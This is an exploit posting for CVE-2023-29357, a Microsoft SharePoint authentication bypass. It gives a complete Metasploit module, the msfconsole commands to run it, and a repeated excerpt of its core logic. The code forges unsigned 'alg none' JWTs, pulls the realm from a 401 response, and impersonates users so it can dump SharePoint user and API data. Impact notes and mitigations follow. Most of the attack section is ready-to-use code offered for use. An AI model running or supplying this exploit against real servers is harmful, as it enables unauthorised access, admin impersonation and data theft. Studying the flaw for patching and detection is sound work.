Microsoft Sharepoint Authentication Bypass

Microsoft Sharepoint Authentication Bypass

=============================================================================================================================================
| # Title Microsoft Sharepoint Authentication Bypass

=============================================================================================================================================
| # Title : SharePoint Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration |
=============================================================================================================================================

POC :

1. Summary :
a critical authentication bypass vulnerability in Microsoft SharePoint known as CVE?2023?29357. (https://packetstorm.news/files/id/207960/)
The flaw allows an attacker to craft an unsigned JWT token with "alg": "none" and impersonate any SharePoint user,
including Site Administrators, without possessing valid credentials.
The vulnerability is dangerous because it exposes internal SharePoint APIs and may enable privilege escalation or full system compromise.


-------------------------
How to Run the Exploit
-------------------------

### **1. Save the script**

Save the code as:

~/.msf4/modules/auxiliary/sharepoint/cve_2023_29357.rb


### **2. Start it from terminal**

msfconsole
use auxiliary/sharepoint/cve_2023_29357
set RHOSTS https://target.com
run

-------------------------
auxiliary :
-------------------------
##
# CVE?2023?29357 SharePoint Auth Bypass
# by Indoushka
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'SharePoint Auth Bypass (CVE?2023?29357)',
'Description' => %q{
This module exploits an authentication bypass in Microsoft SharePoint
(CVE?2023?29357) using a crafted JWT token with "alg":"none".
},
'Author' => [
'Indoushka (Conversion to MSF)'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-29357']
]
))

register_options(
[
OptString.new('TARGETURI', [ true, 'Base SharePoint URL', '/' ])
]
)
end

def create_jwt(aud, client_id)
header = { alg: 'none' }
now = Time.now.to_i
payload = {
aud: aud,
iss: client_id,
nbf: now,
exp: now + 3600,
ver: "hashedprooftoken",
nameid: "#{client_id}@#{aud.split('@')[1]}",
endpointurl: "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=",
endpointurlLength: 1,
isloopback: true
}

encoded_header = Rex::Text.encode_base64url(header.to_json)
encoded_payload = Rex::Text.encode_base64url(payload.to_json)

"#{encoded_header}.#{encoded_payload}.AAA"
end

def get_realm
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "_api/web/siteusers"),
'headers' => { 'Authorization' => 'Bearer ' }
}, 3)

return nil unless res&.code == 401

auth = res.headers['WWW-Authenticate']
return nil unless auth

realm = auth[/realm=\"([^\"]+)\"/, 1]
realm
end

def run
client_id = "00000003-0000-0ff1-ce00-000000000000"
print_status("[*] Fetching realm?")

realm = get_realm

if realm.nil?
print_error("[-] Failed to extract realm")
return
end

print_good("[+] Realm: #{realm}")

aud = "#{client_id}@#{realm}"
jwt = create_jwt(aud, client_id)

print_status("[*] Trying authentication bypass?")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "_api/web/siteusers"),
'headers' => {
'Authorization' => "Bearer #{jwt}",
'X-PROOF_TOKEN' => jwt,
'Accept' => 'application/json'
}
}, 5)

if res && res.code == 200
print_good("[+] Authentication bypass success!")
if res.body
print_line(res.body)
end
else
print_error("[-] Bypass failed. HTTP #{res&.code}")
end
end
end

---------------------------------------------------------------------------------------------------------
[ Technical Description ]
---------------------------------------------------------------------------------------------------------

? The attacker sends a request to:
https://TARGET/_api/web/siteusers
This forces SharePoint to respond with a 401 and expose the Realm value.

? The Realm is extracted from the ?WWW?Authenticate? header:
Bearer realm="XXXXXXXXXXXXXXXXXXXXXXXXXXXX"

? The attacker forges a JWT token with:
{ "alg": "none" }

? The ?aud? field is constructed as:
00000003-0000-0ff1-ce00-000000000000@REALM

? The forged token is sent to SharePoint REST API endpoints.

? SharePoint incorrectly validates the token and treats the attacker as an authenticated user.
The following module performs:

1. Realm extraction
2. Token forgery
3. Authentication bypass
4. Admin enumeration
5. Privilege validation

Core logic excerpt (Metasploit Ruby):

jwt_header = { alg: "none" }.to_json
jwt_payload = {
aud: "#{client_id}@#{realm}",
iss: client_id,
nbf: Time.now.to_i,
exp: Time.now.to_i + 3600,
ver: "hashedprooftoken",
nameid: "#{client_id}@#{realm}",
endpointurl: "qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=",
endpointurlLength: 1,
isloopback: true
}.to_json

unsigned_token = "#{b64(jwt_header)}.#{b64(jwt_payload)}.AAA"

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('_api', 'web', 'currentuser'),
'headers' => {
"Authorization" => "Bearer #{unsigned_token}",
"X-PROOF_TOKEN" => unsigned_token
}
})

---------------------------------------------------------------------------------------------------------
[ Attack Flow ]
---------------------------------------------------------------------------------------------------------

1. Force 401 ? Extract Realm
2. Build forged JWT
3. Bypass authentication
4. Enumerate site admins
5. Optional: Impersonate admin (SharePoint accepts spoofing)
6. Dump internal API data

---------------------------------------------------------------------------------------------------------
[ Impact ]
---------------------------------------------------------------------------------------------------------

? Full user enumeration
? Admin identification
? Access to restricted SharePoint API routes
? Potential privilege escalation
? Ability to chain with RCE vulnerabilities (CVE?2023?24955)
? Data leakage (lists, documents, users, groups?)

Severity: **CRITICAL**

---------------------------------------------------------------------------------------------------------
[ Mitigation ]
---------------------------------------------------------------------------------------------------------

? Install the official Microsoft patch
? Enforce strict JWT signature verification
? Reject any token with "alg:none"
? Disable loopback trust token mode
? Monitor ULS logs for abnormal access patterns

---------------------------------------------------------------------------------------------------------
[ Conclusion ]
---------------------------------------------------------------------------------------------------------

CVE?2023?29357 is a severe authentication bypass allowing attackers to impersonate
any SharePoint user without credentials.
The vulnerability is trivial to exploit and provides high?value access to internal
SharePoint data and admin functions.

Patch immediately.

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================